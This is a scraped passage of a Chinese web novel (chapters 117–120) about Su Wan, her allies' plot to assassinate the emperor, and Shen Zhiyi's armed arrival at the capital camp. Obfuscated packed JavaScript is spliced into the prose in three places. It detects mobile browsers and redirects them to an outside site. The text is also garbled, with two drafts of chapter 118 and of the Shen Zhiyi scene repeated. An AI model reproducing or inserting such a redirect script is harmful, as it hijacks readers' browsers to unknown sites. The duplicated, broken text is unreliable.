她仰起头,眼底满是疯狂的光芒,唇角缓缓勾起,露出一个冰冷又绝望的笑意。断断续续,凄厉诡异,像是被逼疯的孤魂。 “时枫,你是个混蛋。”她喃喃道。 一旁的萧染再也看不下去了,他冲上前去,一脚狠狠踢上阿舟的脊背。这一脚来得猝不及防,阿舟身子向前一挺,怀里的苏绾被他推了出去,踉跄着向前扑倒。 秦欢眼疾手快,快步上前,伸手一把将苏绾揽入怀中,脚下借势转了半圈,稳稳将她护在胸前。 他横腰抱起晕厥的苏绾,眉头紧锁,怒视阿舟,“你端地是何居心?竟敢背后算计我们!” 阿舟被那一脚踢得直翻白眼,整个人冲了出去,扶住案几粗喘了半日,方才缓过神来。他定了定神,眸底立刻泛出凶狠的寒光,咬牙切齿道:“是你背后踢人,竟还反咬一口,不讲道理!”说着,他伸出大手,径直去抢秦欢怀里的苏绾,动作又快又狠,显然是动了真怒。 萧染正愁没地方出气,见状立刻骂道:“狗东西,还敢动手动脚!” 他随手抄起一张凳子,遽然朝阿舟砸去。凳子呼啸飞来,阿舟侧身一闪,凳子砸在案几,木屑四溅,茶盏翻倒,茶水洒了一地。 阿舟躲过这一击,反手抄起地上的木头碎块,用力朝萧染掷去。萧染闪避不及,肩头被划出一道血痕,疼得他倒吸一口凉气。少年怒极反笑,腰间抽出一把短刀,直指阿舟:“找死!” 萧染提着短刀冲上前去,刀锋直指阿舟的咽喉。阿舟不甘示弱,一脚踢向萧染的手腕,短刀应声而落。萧染反应极快,顺势抓住阿舟的脚踝,用力一扯,将他摔倒在地。 二人缠斗一团,帐内桌椅翻倒,茶盏碎裂,一片狼藉。 “住手!” 邵云礼负手立于帐门口,身后几名侍卫手持长刀,严阵以待。 “闹够了没有?”邵云礼沉声道:“堂堂七尺男儿,竟大打出手,成何体统?” 阿舟从地上爬起来,抹去嘴角的血迹,“你们背后偷袭,还有脸要交代?” 萧染捡起地上的短刀,指着阿舟怒道:“分明是你心怀不轨,还敢狡辩!” 秦欢冷冷道:“邵大人,此事需得给个交代。” 邵云礼额头青筋直跳,“闹成这个地步,非本官所愿啊。” 谁能想到半路杀出个苏绾? 秦欢怒道:“你们隐瞒了时枫失忆的事实,失去诚信在先。和谈一事,就此作罢。我没有什么好谈的。” 言毕,转身就要离去。 忽然感到胸前一紧,原来是怀里的苏绾挣扎着醒了过来,她紧声道:“别走。” 秦欢心内一颤。 苏绾的意识在一片混沌中沉浮,耳边回荡着尖锐的嗡鸣声,眼前模糊的光影交错。她被困在一个无尽的梦境,四周全是扭曲的画面,时而清晰,时而模糊,记忆碎片在脑海中不断拼凑又碎裂。 她看见时枫站在渡船栏杆处,背后的奸人山羊胡虎视眈眈瞪着他。她想要呼喊他,可喉咙被堵住了,发不出一点声音。她拼命地向他跑去,可无论她跑得多快,时枫却离她越来越远。突然,山羊胡一脚踹向他的脚面,时枫身影一晃,直直坠入汹涌的黄河。 画面一转,她又看见秦欢站在医馆的门口,手中握着一支桃木簪,温柔地看着她。她想要伸手去接,可指尖还未触到簪子,巨大熊罴现身,疯狂啃噬秦欢的身体,将他啃得支离破碎,化作无数光点不见。 “不要!”苏绾在心底嘶吼,身体被无形的锁链束缚,动弹不得。唯有眼泪无声地滑落,又被无尽的黑暗吞噬。 “醒过来,醒过来。”一个微弱的声音在她的心底响起。 她知道,自己不能再沉沦下去了。每一次的疯痴,每一次的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邵云礼一愣,随即愕然,没想到那两个字,竟然从苏绾这位看似柔弱的女子嘴里说出。可细想之下,他又觉得,也许只有她,才有资格,也有实力,发表这样的豪言壮语。回想起从前在京营回苏府的路上,苏绾冷静分析白云观闹鬼一案的种种,让他早就看出,她的理性与机智,以及她的潜力,都远远超乎常人。 萧染卷了卷细长的眼,以为苏绾是替他出面复仇,顿时感动得鼻涕一把泪一把,右手紧握成拳,狠狠地捶了下自己的胸膛,表示为她的义薄云天而热血沸腾。 “不行。”秦欢却不同意,“贵妃和太子尚在后宫,若贸然弑君,一旦失败,必然遭到皇帝更加疯狂的报复,贵妃母子性命堪忧。” 阿舟眨巴着眼睛,仿佛听天书一般。 苏绾冷笑一声:“你们这一群人,谁不是与皇帝有着血海深仇?即便是秦欢,也因皇帝动了废储之心,而身处被动局面,全族前途渺茫。” “凭什么,所有人都要一味忍让,屈膝低头?” 她的眼神愈发凌厉:“皇帝的位子,若是他姓朱的坐不好,那就换个人来坐!” “至于温如初,就算是有两个,也不过是鸡鸣狗盗之流,本质上都是胆小鬼罢了,根本不足为惧。” 每句话都像是一记重锤,敲打在众人心头,惊天动地。 秦欢仍有疑虑,他越来越觉得,自己手里掌握的关键线索太少了,以至于苏绾莫名提到“弑君”一说,他竟无言以对。既没有十足的理由反驳她,也没有底气支持她。 他可太弱了。 可苏绾却不这么想,她上前攥住秦欢的手,娇嗔道:“表哥,接下来就看你的了。你要施展青囊岐黄之术,帮助时枫恢复记忆,就当是为了我,好不好?” 秦欢眼皮跳了跳。 118. 计划 弑君。 萧染卷了卷细长的眼,以为苏绾是替他出面复仇,顿时感动得鼻涕一把泪一把,右手紧握成拳,狠狠地捶了下胸膛,表示为她的义薄云天而热血沸腾。 邵云礼怔了半晌,没想到那两个字,竟然从娇柔女子的嘴里说出。粗看觉得有浮夸说大话的嫌疑,可细想之下,他又觉得,也许只有她才有资格,也有实力发表这样的豪言壮语。 他剪起手臂,目光幽幽道:“苏姑娘这盘棋,下得倒是精彩,可惜弑君是一步绝境险棋,落子偏差半分,必将陷入抄家诛九族之死局。” 掀眸逡巡一下周围,“我等家族人丁单薄,也非贪生怕死之辈,赔上几条性命,尚不足为惜。” 目光停留在秦欢身上,“然贵妃与太子尚居后宫,贸然策划弑君,一旦失败,皇帝势必倾尽反扑,贵妃母子性命难保,秦氏一族亦难逃牵连。” 这也是秦欢不惜代价,舍命陪君子的根本原因。 前世曾亲眼目睹贵妃宫斗失败,秦氏全族覆灭的惨痛教训,苏绾怎会不知此间利害? 她睇着秦欢,点头道:“我自知此事非同小可,绝不可视之儿戏。小女子敢以性命担保,此计经得起历史及时光的考验。各位不妨先听听看。” 她话中有话,别人尚且听不出什么,然秦欢心知她重活一世,手里必是握有关键信息线索,绝不肯虚言妄断。 他将苏绾扶进座椅,又让邵云礼取来堪舆图,自己则安静地站在一旁。众人见秦欢默许,也跟着凑近桌案,围成一圈。 中心苏绾端坐案前,她神色肃然,整理衣襟,娓娓道来。 第一重:废储 烛火摇曳,映得案上的堪舆图隐隐泛光。苏绾指尖轻点京城位置,眸光微凝,“新年伊始,皇帝已下诏召十三省封疆大吏觐见,显然是借小皇子百日诞辰之机,强行废储立新。” 进而,眼底闪过一丝锋芒,“既然他想立嗣,那便让他立。” “贵妃不争不抢,皇后也不会穷追不舍。由秦欢入宫探望,以休养之名将贵妃与太子移出皇宫,送往江南暂避,借殷潜庇护,保存血脉根基。” 她收回指尖,“如此一来,后宫再无后顾之忧。” 第二重:保命 苏绾目光微转,指向京城布防标记,“皇帝与温如初的共同目标,意在诸位的身家性命。相信锦衣卫已在京城各处暗中布桩,待我等入京后,即分秒拿下。” 她俯下身子,划出两道线,“有两条路。其一,时枫继续扮演‘阵亡将军’角色,暗中潜入京城调查,稳住京营局势;其二,萧染借完成朝廷任务之名,要求皇帝履行承诺赐下名分,‘认祖归宗’。” 她抬起头,咬了咬唇,“我也会入宫,亲自向皇帝表明身份。温如初有所顾忌,不敢对我造次。” 第三重:灭敌 她手腕轻转,在皇城处勾画三角,“皇帝左有内阁,右有锦衣卫,背后更有太后扶持,三足鼎立,难以撼动。” 指尖一顿,重点强调:“需分步击破,逐一瓦解。” 又滑向户部衙门,“这里虽有两个温如初,却并非一体同心。让他们尝尝‘反间计’的滋味,狗咬狗一嘴毛。” 第四重:围剿 苏绾掀眸望向众人,“朝廷也不是吃闲饭的,一旦醒悟过来,就会立刻出兵缴杀我们。” 伸手分别点了点四境边关,“利用借兵战术,四路联盟夹击朝廷军队。东瀛浪人、西部绥靖王、漠北匈奴,南蛮铁骑,皆可为我所用。其具体规划,等到时枫恢复记忆之后,再做决断不迟。” 她收回目光,端坐于案前,双手一摊,“大局已定,请诸君欣赏,这万里江山如何改姓。” 案上烛火微颤,投下晃动的光影。每句话都像是一记重锤,敲打在众人心头,惊天动地。 邵云礼舔了舔干涩的唇,端起茶盏畅饮一番。回想起从前在京营回苏府的路上,苏绾冷静分析白云观闹鬼一案的种种,让他早就看出,她的理性与机智,以及她的潜力,都远远超乎常人。 纸上谈兵终觉浅,真正的战局,远比想象复杂得多。 邵云礼心道:时枫啊时枫,你若再不赶快恢复记忆,光芒都要被苏绾一人夺尽了。 这时,萧染皱起眉头,像是想通了什么,猛地一拍案几,震得茶盏晃了晃,险些颠覆倾洒。 他后知后觉,拍了拍脑袋,惊道:“不对啊,你说皇帝抛弃了你娘,他何时看上的苏夫人?” “咳……”邵云礼刚喝进口中的茶水险些喷出来,他连忙偏头咳了几声消解。 秦欢斜睨萧染一眼,冷声道:“你个呆子,不说话没人拿你当哑巴。” “我说错了吗?”少年卷了卷细长的眼眸,想不明白皇帝老儿到底是怎么跟苏夫人搞到一起的。他对于情爱的理解,比之垂髫小儿,深刻不到哪里去。 苏绾敲了敲桌案,“让我们痛痛快快,大干一场吧。” 秦欢全程未讲一个字。他越来越觉得,自己手里掌握的关键线索太少了,以至于苏绾莫名提到“弑君”一说,他竟无言以对。既没有十足的理由反驳她,也没有底气支持她。 他可太弱了。 可苏绾却不这么想,她上前攥住秦欢的手腕,娇嗔道:“表哥,接下来就看你的了。你要施展青囊岐黄之术,帮助时枫恢复记忆,就当是为了我,好不好?” 秦欢眼皮跳了跳,广袖一甩,卷起一阵药香漫向苏绾鼻尖。他转过身去,脊背绷成冷硬的弓弦,声音似淬过冰凌的刀刃:“我没那个本事。” 要他修补剜心之人的记忆?他可没那般宽宏大量。 “表哥说笑呢?”苏绾眼尾泛起红晕,欺身上前半步,“普天之下,还有秦大夫渡不了的劫?我不信。” 她伸出纤纤素手,指尖陷进鸦青道袍,嗓音浸着蜜糖般的颤音:“表哥,帮帮忙啊,火烧眉毛了。” 秦欢甩袖挣开她,奈何苏绾执拗不放,二人拉拉扯扯,推推搡搡,看得阿舟拳头攥得紧紧。 纠缠间有什么东西自袖中倏地滑落,啪嗒一声摔在黄土坷垃上,盖子被震开,里面盛放的物品骨碌碌滚过斑驳烛光。 原是一枚木簪子,簪头雕刻一朵桃花。大约受到了强烈的震荡,簪头部分断裂,花瓣失去了半边摇摇欲坠,金线垂落蜿蜒在裂痕边缘。 秦欢一怔,喉结滚动着咽下惊痛,离开驿站时走得太过匆忙,竟未察觉袖中还藏着这段未送出的春日。 苏绾弯腰拾起那枚簪子,指腹摩挲簪身,触感温润,做工精细,还残留着他替自己焐手的热度。她心中暗道:原来他一直藏着掖着的是这支簪子,可惜摔坏了。 她素手一扬,断簪投下残破花影,“给我的?”尾音勾着狡黠,目光描摹着他颈侧暴突的血脉。 秦欢脸色极为难堪,眼中隐隐透着狼狈,“还我。”他劈手夺过苏绾手中的断簪,顶端木刺扎进掌心,引起不经意地“嘶”得一声,血色顺着木纹渗入金丝。 他将残簪塞入袖中,布料摩擦声裹着砂砾般的涩意,“我留着镇药箱的。” “小气鬼。”苏绾撇了撇嘴。 她了解秦欢,既然他说无能为力,那便是真的没办法了。他的性子向来如此,从不虚张声势,也不轻易许诺。 苏绾暗自叹了口气,看来恢复记忆这条路暂时行不通,只得另寻他法,总归天无绝人之路。 一旁的萧染卷了卷细长的眼眸,恍然大悟道:“我就说嘛,金丝缠木终是朽物,怎配美人云鬓?” 本是随口一说,秦欢垂眸凝视掌心渗血的木刺,忽觉自己就像这截断木。纵使裹了金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15168902|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线雕了桃花,终究是配不上鬓边明珠的朽枝。 三人之间的暗流涌动,被邵云礼看得分明,眼底流转着琥珀色的兴味。余光瞥见阿舟攥紧的拳头青筋暴起,恍若困兽在牢笼中徒劳冲撞。 邵云礼摇摇头,心道:男女之事,还真是混乱啊。不过,越乱才越有意思,不是吗? 阿舟从喉间挤出低吼,震落檐角积尘,“不用他治,我自己想办法。” 这个愣头青说得倒是轻巧,普天之下,又有哪个凡人,有本事治疗他的失忆之症呢?恐怕只有大罗神仙吧。 等等…… 记忆深处忽有星点火光浮起,蓦然想起一个人来——或许,那个人能拼凑破碎的前尘。 白日向西沉,夜月沙上栖。 忽然,兵营外传来急促的马蹄声,紧接着是一阵短促而尖锐的号角。 守卫上前查探,一队兵马破风而入,长刀寒光乍现,顷刻间火光映红了天际,喊杀声震耳欲聋。 邵云礼神色一沉,迅速组织布防,他换上盔甲出营一看,一眼认出兵马来历——竟是福建都指挥使沈恪的水兵。 队伍之后,一辆雕金嵌玉的马车缓缓驶入,车轮碾过碎石,发出沉闷的滚动声。车帘轻轻掀开,纤细玉手伸了出来,一身淡紫云纹长裙的沈枝意缓步而下。 她目光在人群中一扫,袅袅婷婷走近众人,柔柔弱弱唤了声:“阿舟哥哥。” 话音未落,她已然挽住阿舟的手臂,身姿前倾,神情柔婉,依恋不舍。 阿舟浑身一僵,下意识想要挣开,可沈枝意却拢得更紧,仰头望着他,娇嗔道:“我一路寻你,找得好苦,你可知卿卿有多担心你?” 邵云礼挑眉观望,秦欢神色冷漠,而萧染直接看傻了眼。 苏绾立在一旁,冷笑道:“女儿家这般同男子亲昵,有悖闺门礼节。” 沈枝意闻言,猛然抬头一看,见是熟人在场,她卷了卷眼眸,微微一笑:“我当是谁呢,原来是绾姐姐,别来无恙。” 她顿了顿,又道:“听说你从温侍郎那里逃了婚,可是逃到杭州去了?怎么又回到这京城来了呢?你不怕,”嘴角狡黠地上扬,“温侍郎上门捉人吗?” 苏绾嗤笑:“我有什么好怕的。京营里这许多人保护我,庇佑我,什么魑魅魍魉都不敢近我的身。” 沈枝意扫过她身旁站立的几人,初次见秦欢和萧染,沈枝意不由得多看了两眼,见二人丰神隽秀,一个温文尔雅,一个英气逼人,心里暗骂:苏绾这个娼妇,不知哪里拐的野男人。正好,不用跟她抢阿舟。 沈枝意勾唇道:“绾姐姐自是有数不清的英雄围绕,我就不一样了。”她侧目睇着阿舟,“我只有阿舟哥哥一人,我们很快就要成亲了。” 苏绾心底一沉。 他竟然有了婚约。 仔细回忆一下,好像文竹的信里提过一嘴,讲时枫做了渔民的上门女婿,可为何又改娶沈枝意? “怎么回事?”苏绾瞪着阿舟,质问道。 阿舟非常鸡贼,立刻摇头否认,“没有,邵大人说了,我不娶她。” 轮到邵云礼心里一颤。 “咳……”他假装咳嗽,掩饰内心的惶恐,俄延半晌,缓缓道:“是有这么回事……” 转过头又道:“不过那已经是过去的事情了,如今计划有变。” 他看着沈枝意,道:“阿舟待在京营里更安全。” “胡说!”沈枝意小脸泛白,“失了爹爹的庇佑,谁还能保阿舟哥哥平安?” 转而怒道:“你们这些骗子,竟敢欺负本小姐,我叫爹爹讨伐你们,将你们通通关进大牢。” 随即命令她带来的兵士戒严,兵戈声响彻云霄。 “阿舟哥哥,必须跟我回去。” (未完待续) 119. 要人 苏绾趸出营帐,心情好极了。就连天上的月亮,也好似赶趟似的,只为她一人独明。 距离上一次被人圈禁在洗澡房,已过去半年有余。时过境迁,不但万事尽在掌控之下,竟还收获意外之喜——阿舟实在有趣极了,稍稍吓唬一下,立刻服服帖帖,乖顺得不像话。比起那位阴鸷冷戾的“冷面阎罗”,她显然更喜欢这只略显呆萌、又带点委屈巴巴的小黑狗。 她有点不想让他恢复记忆了。 白日向西沉,夜月沙上栖。 萧染本想趁这个空当,逮住阿舟好好敲打一番,让那臭小子认清形势,明白谁才是京郊这块区域的老大——失忆的前京卫指挥使,在他毒蛇堂堂主面前,实在微不足道。 岂料,他绕着军营兜了几圈,不但没连阿舟的影子都没发现,反倒几次被兵士驱赶,差点被当成奸细。他憋着一肚子闷气,百无聊赖地拔着干草,一张脸气得发绿,比锅底还难看。 这时,秦欢趁着月色寻了过来,打眼瞥见草丛边蹲着的萧染,气不打一处来。 上前揪住萧染的衣领,毫不客气地将他拎起,秦欢怒道:“给我站好,成何体统。” 萧染被勒得喘不过气,站起身直嚷嚷:“你想勒死我?” 秦欢冷声道:“你没那么容易死。” 萧染极少见过秦欢这般暴躁愤怒模样,觉得有些新奇,他揉着脖子,歪头试探道:“你是怕他跟你抢人吗?” 一语中的,秦欢眼眸几不可察地沉了沉,抖了抖衣袖沾染的枯草,“少管闲事。” 此刻,秦欢一点不想跟别人分享苦闷心情。 萧染剪了剪眼眸,自言自语道:“那个人就算活着回来了,也不过是个傻瓜而已,有什么好怕的呢?” 这话像是安慰秦欢,又像是警醒自己。 萧染做梦也没想到,自己会多了一个舅家表妹。 他怕的不是阿舟,也不是时枫,他怕的是骨血联系。只因先帝制定的律法,规定凡同一姓氏、姑舅两姨表亲之间一律禁止通婚。 可律法归律法,就算她跟自己没有血缘关系,他也根本没有任何机会,纯属庸人自扰之。 萧染正准备离开,忽然耳朵敏锐地捕捉到风中夹杂的一丝异样动静。 “嘘——”他侧耳聆听:“南面,有兵马逼近。” 很快,漫天尘土翻涌,一队兵马闯进了营地。火光映红半边天际,喊杀声震耳欲聋,惊起战马阵阵嘶鸣。 邵云礼喝道:“所有人就位,准备迎敌!” 士卒们闻令而动,弓弩手登上哨塔,刀盾手筑起防线,长枪林立,严阵以待。 邵云礼大步迈出营帐,定睛看向那来势汹汹的军阵—— 那旗号,那铠甲…… 竟是福建都指挥使沈恪的水师。 所有进京面圣的武将,一律皆不允许自带兵马,恐有谋逆造反之嫌。沈恪的兵马本应驻扎在百里开外的乡下,如今贸然出现在京营,怕是来者不善。 他瞥了一眼茫然的阿舟,沉声道:“看来,是专程找上门来要人的。” 果不其然,一辆雕金嵌玉的马车缓缓驶入,车轮碾过路边碎石,发出沉闷而有节奏的响动。暮色沉沉,马匹鼻腔喷着热气,蹄声在寂静的荒野格外清晰。 待马车停稳,车帘掀起一角,一只纤细玉手探出,随从立刻屈身递上手臂。紧接着,一袭淡紫长裙映入眼帘。沈家嫡女沈枝意,踩着车橼款款而下,举手投足皆是世家贵女的矜贵娴雅。她环顾四周,娴静目光掠过刀光剑影,最后定格在阿舟身上。 佳人弯了弯眼眸,轻声唤道:“阿舟哥哥。” 她轻快地碎步上前,一头撞进阿舟的胸膛,玉手环抱男人的腰杆。 “我一路寻你,找得好苦,你可知卿卿有多担心你?”她眼波流转,楚楚可怜,恰到好处地展现了女儿家的娇态与哀怨,偏生又带着几分不容拒绝的执拗。 “沈小姐,不可。”犹如被雷劈了一般,男人身体绷成直线。他下意识地推她,可那双纤纤玉指拢得更紧,仿佛要与他融为一体。 阿舟脸色骤变,两手蓦然抓住佳人双臂,粗暴地将她从怀里扯开。 “阿舟哥哥,不要这么见外嘛。”沈枝意不羞不恼,顺势挽住粗壮的手臂,仰起雪白颈项,歪头枕在男人肩膀,柔柔弱弱,小鸟依人。 苏绾冷笑道:“女儿家这般与男子亲昵,倒是别具一格。” 那声音分外冷漠,仿佛一根暗刺扎进肌肤,令沈枝意眼皮一跳。 她抬头望去:只见苏绾一身男子装束,粗布遮掩不了纤柔身姿,熟悉的倩影站在暮色中,如明星般璀璨耀眼。 不愧是沈家大小姐,沈枝意即时收拢心绪,缓缓松开男人的手臂,镇静道:“我当是谁呢,原来是绾姐姐,别来无恙。” 她轻轻一顿,似是无意,又似蓄意而为,“听闻姐姐从温侍郎那里逃婚远走杭州,怎的如今又回京了?”嘴角泛着狡黠的笑意:“姐姐就不怕温侍郎寻上门,把你捉回去?” 言谈举止皆是嘲讽,然苏绾一点不恼,付诸一笑:“我苏绾向来天不怕地不怕,更何况,京营里这许多人护着我,庇佑我。”她环顾四周,淡淡道:“这般天时地利人和,什么魑魅魍魉,也不敢近我的身。” 伴随她的话语,沈枝意目光一转,缓缓扫过苏绾身旁的几人。 秦欢一身鸦青道袍,神色淡漠,周身自有一股清贵气度;萧染则身着窄袖战袍,眉宇透着几分狂傲不羁。二人皆是丰神隽秀之辈,气质各异,卓然出众。 沈枝意暗暗咬牙:苏绾这个娼妇,身边竟环绕着这等出色人物,也不知从哪儿拐来的野男人。正好,省得她与自己争阿舟。 佳人笑意嫣然:“绾姐姐自是有数不尽的英雄环绕,我却不比姐姐这般有本事。” 她睇着阿舟,含情脉脉道:“我只有阿舟哥哥一人,他待我情深义重,护我周全。” 声音柔得几乎滴出水来:“我们很快就要成亲了。” 成亲? 苏绾心头一沉。文竹信里曾提过,讲阿舟做了渔民的上门女婿,可对象何时又变成沈枝意? “怎么回事?”苏绾瞪着阿舟质问道。 结果阿舟十分鸡贼,立刻摇头否认:“没有,邵大人说了,我不娶她。” 轮到邵云礼心里一颤。 “咳咳咳。”他佯装咳嗽几声,搪塞道:“好像是有这么回事……” “不过,那已经是过去的事情了。”他斟酌着措辞,谨慎道:“如今计划有变。” “阿舟应该留在属于他的地方。”邵云礼正色道。 相比守候沈家的这位嫡女千金,明显还是待在京营里更加安全。 “胡说!”沈枝意气得小脸泛白,“失了爹爹的庇佑,谁还能保阿舟哥哥平安?你们将他拘在天子脚下,究竟是何居心?” “我也是为阿舟好……” 邵云礼还想再多辩驳几句,可沈大小姐并不给他机会,她跺着小脚,恨恨道:“你们这些骗子,竟敢欺负本小姐!我要禀告爹爹,让他讨伐你们,把你们通通关进大牢!” 随着她一声令下,身后兵士列阵,刀枪齐举,甲胄碰撞,兵戈声震天响起,肃杀之气蔓延整个营地。 “阿舟哥哥,必须跟我回去。”沈枝意冷冷道。 邵云礼暗呼不妙。 他着实低估了沈枝意的胆量,竟敢带兵擅闯京营。此事若传出去,分明是死罪。可眼下他正有求于沈恪,断不敢对沈家嫡女稍有冒犯。一时间,进退维谷,让这位八面玲珑的大理寺卿,也犯了难。 他支吾其声:“这、这个,不太好吧。” 然而沈枝意态度坚决:“谁人胆敢阻拦本小姐,将视为挑战爹爹的权威。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231024|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿舟立于风口浪尖之上,却丝毫不见慌乱,反倒一派气定神闲。他认定邵云礼不会食言,自然有恃无恐。 他瞥了苏绾一眼,随即收回目光,语气坚定:“我不回去。” 沈枝意急了,“阿舟哥哥,你不要被这些人骗了。他们巴不得你从此消失呢!” 她环视众人,眸中满是戒备与敌意,手指逐一指过,“你看看,他们这些人当中,一个接管了你的兵,一个曾被你天涯海角追杀,剩下的全是她的帮凶。全部都是坏人,他们想要你的命。” 她深深望着阿舟,“只有卿卿是真心为你好。” 阿舟却神色不动,对她的控诉置若罔闻。 男人坚定的态度,令苏绾颇为满意。她上前一步,道:“不想回去就不回去,没人能强迫你。” 阿舟点了点头。 二人之间的默契,狠狠刺痛了沈枝意的眼。她攥紧手帕,咬了咬唇:“阿舟哥哥,你不会忘了阿喜吧?她还在县城等着你呢。” 此话一出,阿舟神情明显一僵。 阿喜父女还在沈家手里,他怎能置之不理?若是执意留在京营,沈枝意绝不会善罢甘休,阿喜他们就危险了。 “阿喜……”男人拳头不自觉地握紧。 沈枝意眼底闪过得意之色,她步步紧逼:“阿喜嘱托我,一定要把阿舟哥哥带回去,我怎能辜负她的期望呢?你说是不是?” 阿舟望向苏绾,见她神色平静,毫不在意,仿佛这一切与她无关。他忽然意识到,和苏绾比起来,阿喜更需要他的保护。 沉默片刻,男人闭了闭眼,像是做了某种决定,咬牙道:“我跟你回去。” 沈枝意眉眼间尽是得意,而苏绾则淡淡挑眉,似笑非笑,眼中毫无波澜。 这一刻,苏绾的漠然,与沈枝意的欢喜,形成了最鲜明的对比。 既然阿舟做了决定,旁人也不再多说,众人正准备各自散去。 忽然,小旗兵匆忙赶上前,向邵云礼禀报:“启禀指挥使,踏月在来兵的马车里,发现了动静。” 夜幕沉沉,小旗官按照惯例,牵着踏月去吃加餐夜草。月光照耀下,战马银白鬃毛泛着柔和的光泽,宛如披上一层霜雪。 许久未见,小旗官心里牵挂得紧,生怕踏月吃不好、喝不够。他一边顺着亮毛,一边低声絮叨:“你救了将军,等于救了咱们全营三万多条性命。以后你想吃什么都行,想要天上的月亮,咱们一个踩着一个肩膀,也要给你摘下来不可。” 踏月低头啃了几口草料,突然耳朵一竖,尾巴扬起,浑身肌肉紧绷。 凭借多年相处的默契,小旗官立刻明白,踏月这是听到了熟悉的声音。 他牵紧缰绳,朝营门方向望去,远远瞧见那里黑压压站满了一群外军,火光照耀甲胄,映出一片肃杀之意。 小旗官顿时心生不安,悄声道:“踏月啊,军规森严,无令不得单枪匹马挑战来军,你可别乱来,这是杀头之罪……” 话音未落,踏月挣脱缰绳,扬蹄狂奔,直直冲向那辆雕金嵌玉的马车。 好在无人看管。 来到马车前,踏月昂首嘶鸣,前蹄高高扬起,不住地刨着地面,焦躁不安。 小旗官心头狂跳,他快步跟上,悄悄掀开车帘一瞧,果然不对劲——车厢里,竟然蜷缩着一个人! 那人手脚被麻绳捆绑,嘴巴也被布条堵塞,只能发出微弱的呜咽声。 小旗官惊得倒吸一口凉气,“马车有诈。” 守卫闻声而动,将马车团团围住。小旗官安顿好踏月,自己则亲自上前禀报。 不多时,几名亲兵押来一名女子——竟是阿喜。 她身子软得站不起来,跪倒在地,发丝凌乱,眼中泪光闪烁,“救救文竹,他快没命了。” 此话一出,众人皆是一惊。唯有沈枝意,眼眸骤然晦暗。 120. 小厮 沈恪的行军路线,曲折迂回,虚虚实实。他带着女儿沿官道行驶,食宿皆安排在驿站,步步为营;而阿舟、阿喜等人则走民间小路,由晴雷、文竹贴身照料,食宿都在客栈,确保外界无法探究真正行踪。 这一路,最辛苦的莫过于邵云礼。他肩负两路人马的联络重任,来来回回奔波不停,硬生生比旁人多走了一半的路程。心中虽苦不堪言,却也只能咬牙坚持。 而且,沈恪的担忧并非多余。车马不但经历风霜雨雪,偶尔还有劫匪路霸。某次,邵云礼抓到一名小喽啰,经过一番严刑拷打,赫然逼出了其真实身份——皇宫暗卫。 看来,朝廷开始动手清理了。 邵云礼不得不另行谋划出路。为此,他想出了一条“合纵连横”的计谋,借助“同盟”的力量,从而冲破敌人的围追堵截。 他将目标定在了秦欢的身上。 经过一个多月的辗转跋涉,一行人终于抵达顺天府。沈恪择地而驻,将兵马安置在东郊的大兴县城附近。 为了不打草惊蛇,沈恪打算独自先行进京,打探敌方虚实。以他都指挥使的身份,踏入京城的第一步,必然迎来兵部尚书的私人邀约。这日,他打点行装,嘱咐女儿好生等他,带了数名心腹扈从,策马进京而去。 沈恪前脚刚走,邵云礼后脚便召来阿舟,命他一同返回京营,暂且扮作“时枫大将军”的角色,目的在于引秦欢入局,借机展开和谈。 临行前,邵云礼将晴雷与文竹唤至身旁,语重心长地交代:“阿舟随我进京营,此事干系重大。阿喜父女就交由你们二人照看,务必妥善安顿。” 思了一瞬,又补充道:“至于沈恪那边,待我抵达京营后,自会遣人送信,将利害关系阐述清楚。你们不必担心。” 这话说得冠冕堂皇,实则是一招“先斩后奏”。谁让沈恪有个乖张跋扈的宝贝女儿?他迫不得已出此下策,以免夜长梦多。 晴雷郑重点头:“大人放心,包在我们身上。” 两匹骏马的背影,渐渐消失在视野尽头,文竹松了口气,转头对晴雷笑道:“阿喜姑娘爱吃点心,今日正好有空,我去集市买些年糕给她尝尝。” 晴雷瞥了他一眼:“你就惯着她吧。” 晴雷生于贵族世家,性情清高傲慢,从未真正跟底层百姓打过交道。他既看不惯阿喜贪财馋嘴的脾性,也不屑于向她讨好。 可文竹不一样,自小在泥潭里摸爬滚打,三六九等各色人物都见过,怀着一颗悲天悯人的心肠。无论阿喜父女如何敌视他,他也从不计较,始终笑脸相迎。用文竹的话来说:“毕竟是咱们求着别人,他们有些脾气也是正常的。” 这会子文竹垂着手,用期待的目光看着他,让人不忍拒绝。晴雷无奈地叹了口气,“快去快回。” 停了一息,他又红着脸,不好意思道:“阳光正好,春花夹岸,最适合踏青。咱们去附近山野走走?” 他一个大男人,邀请另一个男人踏青,总觉得怪怪的。可晴雷认为,人生苦短,美好时光不应浪费。 “好啊。”文竹笑着答应。 晴雷抿嘴一笑,送别了文竹,自己依照邵云礼的吩咐,悄悄潜伏在驿站附近,监视沈枝意的一举一动。直到蹲守草丛整整一个时辰后,他才察觉到不对劲。 